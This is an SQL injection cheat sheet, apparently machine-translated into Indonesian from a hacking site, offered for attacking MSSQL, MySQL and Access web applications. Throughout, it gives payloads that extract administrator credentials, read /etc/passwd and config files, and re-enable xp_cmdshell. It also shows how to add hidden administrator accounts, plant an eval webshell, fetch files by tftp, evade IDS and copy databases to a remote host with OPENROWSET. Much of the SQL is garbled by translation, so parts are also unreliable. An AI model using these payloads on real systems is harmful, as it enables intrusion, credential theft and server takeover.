Kueri lintas database MSSQL (makanan bau!) Gelap)
Peras setiap tetes terakhir MS SQL
Referensi pernyataan SQL dan objek recordset dijelaskan secara rinci
Tentang prosedur tersimpan di SQL Server
Membuat webshell dengan cadangan mssql
SQL_Injection aplikasi lanjutan
Injeksi SQL lintas situs (laokai)
Injeksi SQL Aneh (AMANL)
Injeksi SQL tingkat lanjut di aplikasi SQL Server
Cara menggunakan injeksi SQL untuk melintasi direktori
Panduan Teknik Injeksi SQL (Penerjemah: demonalex)
Beberapa serangan pada database SQL
Teknik Serangan Injeksi SQL (JSW)
SQL_Injection Aplikasi Lanjutan (APACHY)
Metode Injeksi SQL yang Tidak Biasa (Veteran Guilin)
Mencadangkan shell
Bicara tentang struktur pernyataan injeksi php+mysql (Heyhehehehe·≯Super· Hei)
Injeksi SQL Tingkat Lanjut dengan MySQL (malaikat)
L'injeksi (Saya)SQL melalui PHP
Bahasa Oracle SQL
Ensiklopedia injeksi manual SQL
Prasyarat memerlukan alat: SQL Query Analyzer dan SqlExec Sunx Version ============================================================================================== 1. Tentukan apakah ada titik injeksi ; dan 1=1 dan 1=2 2. Tebak nama tabel tidak lebih dari admin admin, kata sandi pengguna user, dll.: dan 0<>(pilih count(*) dari *) dan 0<>(pilih count(*) dari admin) — Menentukan apakah tabel admin ada 3. Tebak jumlah akun Jika Anda menemukan 0< kembali ke halaman yang benar 1< kembalikan halaman kesalahan untuk menunjukkan bahwa jumlah akun adalah 1 dan 0<(pilih count(*) dari admin) dan 1<(pilih count(*) dari admin) 4. Tebak nama bidang Tambahkan nama bidang yang kita pikirkan dalam tanda kurung len( ). dan 1=(pilih count(*) dari admin di mana len(*)>0)– dan 1=(pilih count(*) dari admin di mana len(nama bidang pengguna)>0) dan 1=(pilih count(*) dari admin di mana len(_blank>nama bidang kata sandi)>0) 5. Tebak panjang setiap bidang Tebak panjangnya untuk mengubah >0 sampai halaman yang benar dikembalikan dan 1=(pilih count(*) dari admin di mana len(*)>0) dan 1=(pilih count(*) dari admin di mana len(name)>6) error dan 1=(pilih count(*) dari admin di mana len(name)>5) Panjang yang benar adalah 6 dan 1=(pilih count(*) dari admin di mana len(name)=6) benar dan 1=(pilih count(*) dari admin di mana len(password)>11) benar dan 1=(pilih count(*) dari admin di mana panjang kesalahan len(password)>12) adalah 12 dan 1=(pilih count(*) dari admin di mana len(password)=12) benar 6. Tebak karakternya dan 1=(pilih count(*) dari admin di mana left(name,1)=a) — Tebak digit pertama akun pengguna dan 1=(pilih count(*) dari admin di mana left(name,2)=ab)—Tebak digit kedua akun pengguna Cukup tambahkan satu karakter pada satu waktu untuk menebak, tebak cukup banyak digit yang baru saja Anda tebak, dan nomor akun akan keluar (1) Tebak nama tabel
Kalimat yang digunakan: dan ada (pilih * dari nama tabel)
Misalnya: dan ada (pilih * dari admin)
Jika halaman bergema dengan benar, itu berarti nama tabel yang kita tebak di sini sudah benar, dan jika halamannya salah, maka itu berarti nama tabel yang kita tulis di sini salah
, lalu ubah nama tabel dan lanjutkan menebak sampai Anda menebak.
Umumnya, nama tabel yang umum digunakan termasuk admin, manage, user, atau put in tool run (2) Tebak bidangnya
Kalimat yang digunakan: dan ada (pilih nama bidang dari nama tabel)
Misalnya: dan ada (pilih nama pengguna dari admin)
Di sini, dengan asumsi bahwa tabel admin adalah tabel yang saya tebak dengan benar di atas, maka saya ingin menentukan apakah bidang nama pengguna ada, saya perlu menggunakan pernyataan ini, jika halaman
Jika gema wajah benar, itu berarti nama bidang yang kita tebak di sini sudah benar, dan jika halamannya salah, maka itu berarti nama bidang yang kita tulis di sini salah
, lalu ubah nama bidang dan lanjutkan menebak hingga Anda menebak.
Umumnya, nama bidang umum termasuk nama pengguna, kata sandi, pengguna, lulus, nama, lulus, pwd, usr, psd, dan bidang lainnya (3) memerintahkan oleh
order by adalah untuk mendapatkan jumlah jumlah bidang di halaman itu, mempersiapkan kueri bersama berikutnya (4) Pilih Serikat
1. Jika Anda mendukung kueri gabungan, temukan bit tampilan http://www.xxx.com/product_show.asp?id=1 dan 1=2 pilih serikat
1,2,3,4,5,6,7,8,9,10,11 Misalkan bit tampilan adalah 5,6. Selanjutnya, kita hanya perlu mengganti nama bidang yang sesuai dengan nama pengguna dan kata sandi administrator dengan posisi bit tampilan di sini
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 dari admin menemukan login latar belakang 2. Jika kueri bersama tidak didukung Nama pengguna dan kata sandi administrator tidak dapat diperoleh tanpa kueri bersama - menggunakan decoding verbatim Ascii Dua Gunakan order by untuk menilai jumlah bit dalam tabel, dan jika tidak berhasil, gunakan union select untuk mengaturnya satu per satu, di sini kita mengasumsikan 8 bit Tiga Gunakan kueri bersama untuk menentukan bit tampilan Empat Gunakan bit tampilan untuk menemukan nama database, versi database, 5.0 atau lebih tinggi dapat disuntikkan
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,pengguna(),0x5c, versi()),8 Lima Dengan nama database, Anda dapat mulai mendapatkan skema nama tabel = diikuti dengan nilai HEX dari nama database, dan menebak nama tabel
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +dari+information_schema.kolom+di mana+ table_schema=0x666C6965725F6462617365 Enam Nama tabel yang dianalisis menentukan nilai HEX dari nama tabel administrator =nama tabel, dan menebak bidang dalam tabel http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(BERBEDA
+column_name),8+ dari+information_schema.kolom+di mana+table_name=0x7075625F7765626D6173746572 Tujuh Setelah mendapatkan bidang di tabel admin, mari kita dapatkan isi bidang http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(BERBEDA
+nama pengguna, 0x5f,userpwd),8+dari+pub_webmaster Delapan Alat memindai latar belakang: Masuk untuk mengunggah Trojan setelah menemukannya, dan jika Anda tidak dapat menemukan file robots.txt yang dapat Anda akses Sembilan Jika Anda tidak dapat menemukan latar belakang, kata sandi administrator MYSQL akan terekspos http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(pengguna, kata sandi), 8 + dari+mysql.pengguna Sepuluh Akses jalur secara acak, dan umpan baliknya adalah halaman default 404 IIS6, yang menunjukkan bahwa server situs web adalah: Windows+IIS6+php+MySql c:\\windows\\system32\\inetsrv\\MetaBase.xml Jalur ini bisa mendapatkan informasi konfigurasi situs web. Membuat pernyataan http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Sebelas Analisis kode dan temukan alamat latar belakang Pada langkah pertama, kita perlu mendapatkan panjang bidang dalam tabel Pernyataan yang digunakan: dan (pilih 1 len teratas(nama bidang) dari nama tabel)>0 Seperti apa: dan (pilih 1 len(admin_name) teratas dari admin)>0 Halaman ditampilkan secara normal, panjang admin_name bidang lebih besar dari 0, dan saya akan mengirimkan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Halaman menampilkan kesalahan yang menyatakan bahwa bidang antara 0 dan 10, dan panjangnya adalah 5 menggunakan dikotomi Menggunakan metode yang sama untuk menentukan panjang bidang untuk kata sandi administrator, saya mendapatkan panjang 16 Langkah 2 Sekarang mari kita lanjutkan ke langkah kedua, ambil karakter tertentu di lapangan, dan dapatkan kode ASCII karakter, yang digunakan
Pernyataan: dan (pilih 1 asc teratas(mid(nama bidang, N,1)) dari nama tabel)>0 Izinkan saya melihat kalimat ini secara terpisah, pertama, fungsi mid(username, 1,1) terdalam, yang merupakan karakter pertama dari bidang admin_name, N
menunjukkan bahwa beberapa karakter pertama harus dicegat, Kemudian fungsi asc() luar, yang mengubah karakter yang dicegat oleh fungsi tengah menjadi kode ASCII, 1 teratas terluar, mewakili bidang pengembalian tempat pertama
Sebuah catatan, kemudian, ">0" di akhir adalah membandingkan kode ASCII yang dikonversi dengan angka ini, dan akhirnya mendapatkan intersepsi dengan terus-menerus mengubah nilai terakhir
Dapatkan spesifik karakter ini Kode ASCII Pengajuan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Halaman ditampilkan secara normal, menunjukkan bahwa kode ASCII karakter ini lebih besar dari 30. Pengajuan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Halaman ditampilkan secara normal, menunjukkan bahwa kode ASCII karakter ini lebih besar dari 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Kode ASCII yang saya dapatkan untuk karakter ini adalah 97 Bandingkan tabel ASCII: Dapat disimpulkan bahwa karakter pertama adalah "a". Kemudian saya akan menilai kode ASCII dari karakter kedua.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Halaman ditampilkan secara normal, menunjukkan bahwa kode ASCII karakter lebih besar dari 90, dan nilai terakhir selalu berubah Metode yang sama menghasilkan kata sandi admin, dan hasil yang saya dapatkan adalah:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 dan 1=(pilih 1 teratas count(*) dari Admin di mana Asc(mid(pass,5,1))=51) – Pernyataan kueri ini dapat menebak pengguna Cina dan kata sandi _blank>. Cukup ganti angka-angka berikut dengan kode ASSIC Cina
Konversi menjadi karakter.
kelompok berdasarkan users.id memiliki 1=1–www.myhack58.com Kelompokkan berdasarkan users.id, users.username, users.password, users.privs memiliki 1=1– ; Masukkan ke dalam nilai pengguna ( 666, penyerang, foobar, 0xffff )–
UNION Pilih 1 COLUMN_blank>_NAME TERATAS DARI INFORMATION_blank>_SCHEMA. KOLOM Di mana
TABLE_blank>_NAME=logintable- UNION Pilih 1 COLUMN_blank>_NAME TERATAS DARI INFORMATION_blank>_SCHEMA. KOLOM Di mana
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION Pilih 1 COLUMN_blank>_NAME TERATAS DARI INFORMATION_blank>_SCHEMA. KOLOM Di mana
TABLE_blank>_NAME=logintable Tempat COLUMN_blank>_NAME TIDAK MASUK
(login_blank>_id,login_blank>_name)- UNION Pilih 1 login_blank>_name TERATAS DARI logintable- UNION Pilih kata sandi TOP 1 DARI logintable di mana login_blank>_name=Rahul– Lihat patch yang dimainkan oleh server _blank> = patch SP4 yang salah jaring pengaman bilah hitam dan 1=(pilih @@VERSION)–
Lihat izin akun koneksi database _blank>, dan itu kembali normal, membuktikan bahwa itu adalah izin sysadmin dari peran server _blank>. dan 1=(Pilih IS_blank>_SRVROLEMEMBER(sysadmin))–
Tentukan akun database _blank> terhubung. (Gunakan akun SA untuk terhubung dan mengembalikan normal = buktikan bahwa akun yang terhubung adalah SA) dan sa=(Pilih System_blank>_user)– dan user_blank>_name()=dbo– dan 0<>(pilih user_blank>_name()–
Lihat apakah xp_blank>_cmdshell menghapus dan 1=(Pilih count(*) DARI master.dbo.sysobjects Dimana xtype = X DAN nama = xp_blank>_cmdshell)
–
xp_blank>_cmdshell dihapus, dipulihkan, dan mendukung pemulihan jalur absolut ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== izin DB diekspos ke kode jalur fisik situs web
========================================================================== 1 、 tabel drop [jm_tmp]; Buat tabel [jm_tmp](nilai navrchar(4000) null,data nvarchar(4000)
null) -- Buat tabel
2、 hapus [jm_tmp]; Masukkan [jm_tmp] eksekutif master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SISTEM\ControlSet001\Services\W3SVC\Parameter\Virtual Roots','/'--
Sisipkan direktori situs ke dalam bidang tabel
3、dan (pilih 1 teratas cast([data] sebagai nvarchar(4000) char(124) dari [jm_tmp] urutan berdasarkan [data]
desc)=0 '//Bidang yang terekspos
4. Drop Table [jm_tmp] -- hapus tabel ini. untuk perintah untuk mendapatkan shell
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Jalur stasiun lainnya ======================load_file() Informasi sensitif yang umum digunakan =========================================== 1 、 ganti (load_file(0×2F6574632F706173737764), 0×3c, 0×20)
2 、 Ganti (load_file (char (47,101,116,99,47,112,97,115,115,119,100)),char (60), char (32)) Dua di atas adalah untuk melihat file PHP yang menampilkan kode sepenuhnya. Ada kalanya beberapa karakter tidak diganti, seperti "<" alih-alih "spasi" yang kembali
Halaman web. Dan kode tidak dapat dilihat.
3. load_file(char(47)) dapat mencantumkan direktori root sistem FreeBSD dan Sunos
4. Lihat file konfigurasi host virtual APACHE linux di /etc/httpd/conf/httpd.conf atau /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf atau C:\apache\conf\httpd.conf untuk melihat WINDOWS
file Apache Sistem
6. c:/Resin-3.0.14/conf/resin.conf Lihat informasi konfigurasi file resin dari situs web yang dikembangkan oleh jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf untuk melihat host virtual JSP yang dikonfigurasi pada sistem Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9 、 C: \ File Program \ mysql \ my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin meledak
11. C:\Windows\system32\inetsrv\MetaBase.xml Lihat file konfigurasi host virtual IIS
12. /usr/local/resin-3.0.22/conf/resin.conf untuk melihat file konfigurasi RESIN untuk 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Sama seperti di atas
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Host virtual APASHE
15. /etc/sysconfig/iptables tergantung pada kebijakan firewall
16. /usr/local/app/php5 b/php.ini pengaturan setara PHP
17. /etc/my.cnf file konfigurasi MYSQL
18. /etc/redhat-release system version of Red Hat
19 、C:\mysql\data\mysql\user. MYD ada dalam kata sandi pengguna di sistem MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 untuk melihat IP.
21. /usr/local/app/php5 b/php.ini //PHP pengaturan terkait
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // pengaturan situs web virtual
23 、 c: \ File Program \ RhinoSoft.com \ Serv-U \ ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue menampilkan informasi distribusi kernel Linux
26 、 / etc / ftpuser
27. Periksa file log operasi di bawah user.bash_history atau .bash_profile LINUX
28 、 / etc / ssh / ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Membalikkan eksperimen PING sendiri ; gunakan master; menyatakan @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s keluar; eksekutif
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Menambahkan akun ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c pengguna bersih jiaoniang$ 1866574 /add–
Buat E-disk direktori virtual: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Akses: (dengan penulisan ke webshell) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Trik _blank> khusus untuk meledakkan perpustakaan: :%5c=\ atau ubah %5 dengan / dan \ untuk melakukan dan 0<>(pilih jalur 1 teratas dari newtable)–
Dapatkan nama database (dari 1 hingga 5 adalah ID sistem, dan Anda dapat menilainya di atas 6) dan 1=(pilih nama dari master.dbo.sysdatabases di mana dbid=7)– dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=6) Kirim dbid secara bergantian = 7,8,9.... Dapatkan lebih banyak nama database _blank>
dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=U) meledak ke dalam tabel dengan asumsi admin dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=u dan nama tidak ada di (Admin)).
Tabel lainnya. dan 0<>(pilih count(*) dari bbs.dbo.sysobjects di mana xtype=u dan name=admin dan uid>(str(id))) Nilai numerik UID diasumsikan 18779569 uid=id dan 0<>(pilih nama 1 teratas dari bbs.dbo.syscolumns di mana id=18779569) mendapatkan bidang admin, false
Atur ke user_blank>_id dan 0<>(pilih nama 1 teratas dari bbs.dbo.syscolumns di mana id=18779569 dan nama tidak ada (id,...)) untuk mengekspos bidang lain dan 0<(pilih user_blank>_id dari BBS.dbo.admin di mana nama pengguna>1) untuk mendapatkan nama pengguna Pada gilirannya, Anda bisa mendapatkan kata sandi _blank>。。。。。 Misalkan ada bidang seperti nama pengguna user_blank>_id, kata sandi, dll
dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=6) dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=U) untuk mendapatkan nama tabel dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=u dan nama tidak di(Alamat)) dan 0<>(pilih count(*) dari bbs.dbo.sysobjects di mana xtype=u dan name=admin dan uid>(str(id)))
Menentukan nilai id dan 0<>(pilih nama 1 teratas dari BBS.dbo.syscolumns di mana id=773577794) semua bidang
?id=-1 union pilih 1,2,3,4,5,6,7,8,9,10,11,12,13,* dari admin ?id=-1 union pilih 1,2,3,4,5,6,7,8,*,9,10,11,12,13 dari admin (union,akses juga mudah digunakan)
Dapatkan jalur WEB ; Buat tabel [dbo]. [pertukaran] ([swappass][char](255)); – dan (pilih 1 swappass teratas dari swap)=1– ; Buat TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarasikan @test varchar(20) exec
Menguasa.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT masukkan ke dalam nilai jalur(jalur) (@test)– ; gunakan ku1; – ; membuat cmd tabel (gambar str); – Buat cmd tabel dari jenis gambar 1. Cara menghapus proses perpanjangan xp_cmdshell adalah dengan menggunakan pernyataan berikut:
if exists (pilih * dari dbo.sysobjects di mana id=object_id(N'[dbo].[ xpcmdshell]') dan
OBJECT(id,N'IsExtendedProc')=1) eksekutif sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Cara menambahkan proses ekstensi xp_cmdshell adalah dengan menggunakan pernyataan berikut:
(1)Penganalisis Kueri SQL
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Pertama, isi %s di opsi Format SqlExec Sunx Version dan masukkan di opsi CMD
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
Hapus
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Ada xp_blank>_cmdshell proses pengujian: ; master eksekutif .. xp_blank>_cmdshell dir ; eksekutif master.dbo.sp_blank>_addlogin jiaoniang$; – Tambahkan akun SQL ; eksekutif master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; eksekutif master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; Pengguna Eksekutif master.dbo.xp_blank>_cmdshell Net Jiaoniang$ 1866574 /Workstations:* /Times:All
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; eksekutif master.dbo.xp_blank>_cmdshell administrator grup lokal bersih jiaoniang$ /add; – master eksekutif .. xp_blank>_servicecontrol mulai, jadwalkan untuk memulai layanan _blank> master eksekutif .. xp_blank>_servicecontrol mulai, server ; DEKLARASIKAN @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell EXEC KELUARAN SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c pengguna bersih jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; master eksekutif .. xp_blank>_cmdshell tftp -i youip get file.exe – Unggah file menggunakan TFTP
; Mendeklarasikan @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarasikan @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; menyatakan @a; atur @a=db_blank>_name(); database cadangan @a ke disk=IP Anda Direktori bersama Anda bak.dat Jika dibatasi, ya. Pilih * dari OpenRowset(_blank>sqloledb,server; sa; , pilih OK! eksekutif
master.dbo.sp_blank>_addlogin hax)
Struktur Kueri: Pilih * DARI berita Di mana id=... DAN topik=... DAN ..... adminand 1=(pilih count(*) dari [user] di mana username=victim dan right(left(userpass,01),1)=1)
dan userpass <> pilih 123; – ; gunakan master; – :a atau nama seperti fff%; – Menampilkan pengguna bernama ffff. dan 1<>(pilih count(email) dari [pengguna]); – ; Perbarui [pengguna] atur email=(pilih nama 1 teratas dari sysobjects di mana xtype=u dan status>0) di mana
nama = ffff; – ; update [users] set email=(pilih id 1 teratas dari sysobjects di mana xtype=u dan name=ad) di mana
nama = ffff; – ; Perbarui [pengguna] set email=(pilih nama 1 teratas dari sysobjects di mana xtype=u dan id>581577110)
di mana nama = ffff; – ; update [users] set email=(select top 1 count(id) from password) where name=ffff; – ; update [users] set email=(pilih top 1 pwd dari password where id=2) where name=ffff; – ; update [users] set email=(pilih nama 1 teratas dari kata sandi di mana id=2) di mana name=ffff; – Pernyataan di atas adalah untuk mendapatkan tabel pengguna pertama di database _blank> dan menempatkan nama tabel di bidang email pengguna ffff. Dengan melihat profil pengguna ffff, Anda bisa mendapatkan tabel pertama yang disebut AD Kemudian dapatkan ID tabel ini sesuai dengan iklan nama tabel untuk mendapatkan nama tabel kedua
masukkan ke dalam pengguna nilai( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Masukkan ke dalam nilai pengguna( 667,123,123,0xffff)– Masukkan ke dalam nilai pengguna ( 123, admin–, kata sandi, 0xffff)– ; dan pengguna>0 ; dan (pilih count(*) dari sysobjects)>0 ; dan (pilih count(*) dari mysysobjects)>0 // untuk database access_blank>
Menghitung nama tabel data ; perbarui AAA Set AAA=(pilih nama 1 teratas dari sysobjects di mana xtype=u dan status>0); – Di sinilah nama tabel pertama diperbarui ke bidang AAA. Baca tabel pertama, dan tabel kedua dapat dibaca seperti ini (tambahkan dan beri nama setelah kondisi<> nama tabel yang baru saja Anda dapatkan). ; Perbarui AAA Set AAA=(Pilih nama 1 teratas dari sysobjects di mana xtype=u dan status>0 dan
nama<>suara); – Kemudian id=1552 dan ada(pilih * dari aaa di mana aaa>5) Bacalah tabel kedua dan bacakan satu per satu sampai tidak ada. Bidang baca terlihat seperti ini: ; perbarui AAA Set AAA=(pilih 1 teratas col_blank>_name(object_blank>_id(nama tabel),1)); – Kemudian id=152 dan exists(pilih * dari aaa di mana aaa>5) mendapatkan kesalahan dan mendapatkan nama bidang ; perbarui AAA Set AAA=(pilih 1 teratas col_blank>_name(object_blank>_id(nama tabel),2)); – Kemudian id=152 dan exists(pilih * dari aaa di mana aaa>5) mendapatkan kesalahan dan mendapatkan nama bidang
[Dapatkan Nama Tabel Data] [Perbarui nilai bidang ke nama tabel, lalu bacakan nilai bidang ini untuk mendapatkan nama tabel] Perbarui Nama Tabel Set field=(Pilih nama 1 teratas dari sysobjects di mana xtype=U dan status>0 [ dan nama<>
Nama tabel yang Anda dapatkan Temukan satu plus satu]) [ where condition] pilih nama 1 teratas dari sysobjects di mana xtype=u dan
status>0 dan nama tidak ada di (tabel1,tabel2,...) Membuat akun administrator database dan akun administrator sistem _blank> _blank> injeksi kerentanan melalui SQLSERVER [Akun saat ini harus berupa grup SYSADMIN]
[Dapatkan Nama Bidang Datatable] [Perbarui nilai bidang ke nama bidang, lalu bacakan nilai bidang ini untuk mendapatkan nama bidang] Perbarui Kumpulan Nama Tabel field=(Pilih 1 Teratas col_blank>_name(object_blank>_id (Nama Tabel Data untuk Kueri), kolom bidang
Misalnya: 1) [ kondisi where]
Melewati Deteksi IDS [Menggunakan Variabel] ; Mendeklarasikan @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Deklarasikan @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Buka database _blank> jarak jauh Sintaks dasar pilih * dari OPENROWSET(SQLOLEDB, server=nama server; uid = sa; pwd=123, pilih * dari tabel1 ) Parameter: (1) Nama Penyedia OLEDB 2. Parameter string koneksi dapat berupa port apa pun untuk dihubungkan, seperti pilih * dari OPENROWSET(SQLOLEDB, uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,
Pilih * dari tabel 3. Salin seluruh database _blank> dari host target dan masukkan semua tabel jarak jauh ke tabel lokal.
Sintaks dasar: masukkan ke dalam OPENROWSET(SQLOLEDB, server=nama server; uid = sa; PWD=123, pilih * dari tabel1) pilih
* dari tabel2 Pernyataan baris ini menyalin semua data dari tabel table2 pada host target ke tabel table1 dalam database _blank> jarak jauh. Perbaikan yang tepat dalam aplikasi praktis
Ubah alamat IP dan port string koneksi untuk menunjuk ke tempat yang Anda butuhkan, seperti: masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih
* dari tabel1) pilih * dari tabel2 masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih
* dari _blank>_sysdatabases) Pilih * dari master.dbo.sysdatabases masukkan ke dalam OPENROWSET(SQLOLEDB,uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,pilih
